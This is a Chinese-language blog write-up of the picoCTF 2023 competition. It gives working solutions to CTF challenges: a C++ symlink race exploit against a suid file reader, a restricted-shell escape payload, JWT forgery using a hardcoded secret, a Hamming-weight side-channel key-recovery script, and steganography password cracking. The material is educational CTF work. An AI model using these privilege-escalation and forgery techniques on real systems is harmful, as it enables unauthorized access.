picoCTF 2023 WriteUp

Last updated on August 22, 2023 pm

我团今年和其他几位朋友一起参与了 picoCTF 2023,截止完赛时拿到了 Global 榜第 37 名的成绩。本次赛事中受益良多,藉此记录一下比赛中遇到的比较有意思的题目。

这份 Write-Up 仅记录我们两个完成的题目,不代为记录其他人的成果。

Write-Up

Tic-tac

Rorical&MatF
本题的考点是竞态。读代码可知题目中 suid 程序 txtreader 会先检查执行者的 ruid,与文件 uid 比较相符后打开文件。同类题目有两个策略:通过更改外部环境伪造代码中所用到的 getuid() Syscall(例如 fakeroot 或者使用 LD_PRELOAD 等);或者是使用竞态在执行间隙更改文件内容。本题的核心解法为后者。
代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <fstream>
#include <thread>
#include <unistd.h>

using namespace std;

int Eunlink() {
sleep(0.002); // Configuratable, depends on system interrupt;
unlink("./target.txt");
symlink("./flag.txt", "./target.txt");

return 0;
}

int main() {
while (1) {
ofstream outfile("./target.txt");
outfile.close();
thread t1(system, "./txtreader ./target.txt");
t1.detach();
thread t2(Eunlink);
t2.detach();
remove("./target.txt");
}

return 0;
}

本题的安全意义是设计不良的 suid 程序可能被轻易的利用以提权。

Special

MatF
本题所给的情景是一个限制特殊操作的伪 Shell,需要达成 Shell Escape,测试输入会发现:

  • Shell 指令会被近似成最接近的首字母大写单词后转交给实际 Shell 执行,由于 case-sensitive 的 Shell 指令,这基本等于没有任何指令可以执行;
  • 任何包含 / 的类路径都会被拦截;
  • Ctrl+C 终止时会弹出 KeyboardInterrupt,可以确定是 Python 所写。

根据以上规则,确定 Escape 方式:

  • 首字符不能是字母;
  • 字母之间必须有符号打断;
  • 不能包含路径;

确定为 $@s$@h。该字符串能够逃脱所有转义规则,其中,$@ 在 Shell 执行时没有任何意义,会被直接丢弃,在 Shell 执行时等价为 sh
其他的一些 Restricted Shell Escape trick 可以看这篇 PDF

Specialer

LarryWen&MatF
本题回归正常 Bash,但基本的 GNU Coreutils 等均未安装,考察 Bash 语法基本运用。
解题的关键代码如下:

1
2
3
4
5
6
7
8
# 列出目录
for file in ~/*/*;
do
echo $file;
done

# 读取文件
echo $(</absolute/path/to/file)

MSB

MatF
题目提示是图片的 LSB 字节提取,根据题目名字又说是 MSB,得解题思路。
LSB 字节隐写的基础是 LSB 不是图像信息储存的区域,因此不会引起图像的肉眼损失。这是不用 MSB 藏的原因。本题中就是用 MSB 藏的,一眼就看出来已经损坏到什么程度了。
提取MSB

MatchTheRegex

Rorical
本题单独考察正则。
翻一下 html 源代码可以看到 js 里有个注释 // ^p.....F!?
这东西就是个正则,也就是以 p 开头以 F 结束中间点任意字符就可以
输入什么 paaaaaF 就行

Java Code Analysis!?!

Rorical
本题考察 Spring 框架和 JWT 的熟练度。
\src\main\java\io\github\nandandesai\pico\security\SecretGenerator. Java 里能看到生成 jwt 所用的随机数其实是固定的,

1
2
3
4
Private String generateRandomString (int len) {
// not so random
Return "1234";
}

那么我们就可以自签一个 jwt 来获取 admin 的访问权限
如果自己不想写 jwt 代码可以直接本地拉下来用 admin 登录,接着直接把 jwt 复制到目标实例的请求上

Msfroggenerator2

Rorical
见 Rorical 的 博客

Power Analysis

本题整体紧扣基于 Hamming Weight 的能量关联攻击 (Correlated Power Analysis)。

Warmup

Rorical
题目直接泄露 Hamming Weight,要求根据 Hamming Weight 猜测加密密钥。
每个泄露的 bit 都能代表一组可能的 key,所以使用集合筛查直到剩下一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
dsbox = [1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0]

possibleMapping = [[],[]]
for i, d in enumerate(dsbox):
possibleMapping[d].append(i)

def request(bts):
res = netcat()
return int(res.split(" ")[-1].strip())

def determineBase(bts, index):
prev = request(bts)
while True:
bts[index] += 1
now = request(bts)
if now != prev:
return prev if now>prev else now

def tryOneBit(bts, index):
base = determineBase(bts, index)
bts[index] = 0
possibleSet = set()
while True:
nowByteNum = bts[index]

byteLeak = request(bts) - base

nowSet = set([i ^ nowByteNum for i in possibleMapping[byteLeak]])
if len(possibleSet) == 0:
possibleSet = nowSet
else:
possibleSet = possibleSet.intersection(nowSet)

if len(possibleSet) == 1:
break
print(possibleSet)

bts[index] += 1

return list(possibleSet)[0]

def tryAllBits():
res = bytearray()
for i in range(16):
bts = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
res.append(tryOneBit(bts, i))
return res

print(tryAllBits().hex())

Part 1&2

MatF&Rorical
Part 1 需要主动采集并转换数据,还需要多组实验以去除噪声。Part 2 是 Part 1 思路的复用。
完整代码和全算法解释见 Colab

其他未解题目

UnforgottenBits

拆解镜像,发现仅有 /home/yone 下存在有效信息,归类如下:

  • 图像
    • 1.bmp
    • 2.bmp
    • 3.bmp
    • 7.bmp
  • 文本
    • 笔记
      • 1.txt
      • 2.txt
      • 3.txt
    • IRC Logs
      • 其他闲聊
        • ./02/*
        • ./07/*
      • 密码密钥信息
        • ./01/04/#avidreader13.log
    • 邮件
      • ./new/1673722272.M424681P394146Q14.haynekhtnamet
    • 浏览记录
      • ~/.lynx/browsing-history.log

其中:

  • 每个图像都使用 steghide 隐藏了 AES 加密的内容,前三个可以从“密码密钥信息”中直接获得密码 akalibardzyratrundle 和 AES 解密密钥 salt=0f3fa17eeacd53a9 key=58593a7522257f2a95cce9a68886ff78546784ad7db4473dbd91aecd9eefd508 iv=7a12fd4dc1898efcd997a1b9496e7591,解密为无用假文;
  • IRC Log 的闲聊中很大一部分程度上都与游戏“英雄联盟”(League of Legend)有关;
  • #avidreader13.logsteghide 的密码进行分词,发现是四个 LOL 中英雄名称;
  • 笔记 3.txt 中提示了下一个密码的开头,同样可以分词为两个 LOL 英雄名称;

解密得:

  • 根据推理 2、 3 和 4,猜测下一个密码同样由四个 LOL 英雄名称组成,构造 Wordlist 暴力破解得到 7 的密码 yasuoaatroxashecassiopeia,解密得 ledger.1.txt.enc

剩余证据:

  • 1.txt2.txt 尚未使用;
  • 浏览记录尚未使用;
  • 邮件尚未使用;

更多推理:
#avidreader13.log 中提到,

1
2
[08:19] <avidreader13> Damn! Ever heard of passphrases?
[08:19] <yone786> Don't trust em. I seed my crypto keys with uuids.

但很明显,上文解密密钥是标准的 OpenSSL 由 passphrase 派生的 Key 和 IV,说明文中加密者 yones 一定有其他密码规则隐藏。

总结

没啥废话可多说,我这次主要的时间陷阱就在 CPA Power Analysis 上了。数据处理害人……
可以去多看一下 Ro 那边的那一篇,写的更有游侠色彩。


picoCTF 2023 WriteUp
http://elfile4138.moe/2023/03/picoCTF-2023-WriteUp/
Author
Matrew File, Rorical
Posted on
March 29, 2023
Updated on
August 22, 2023
Licensed under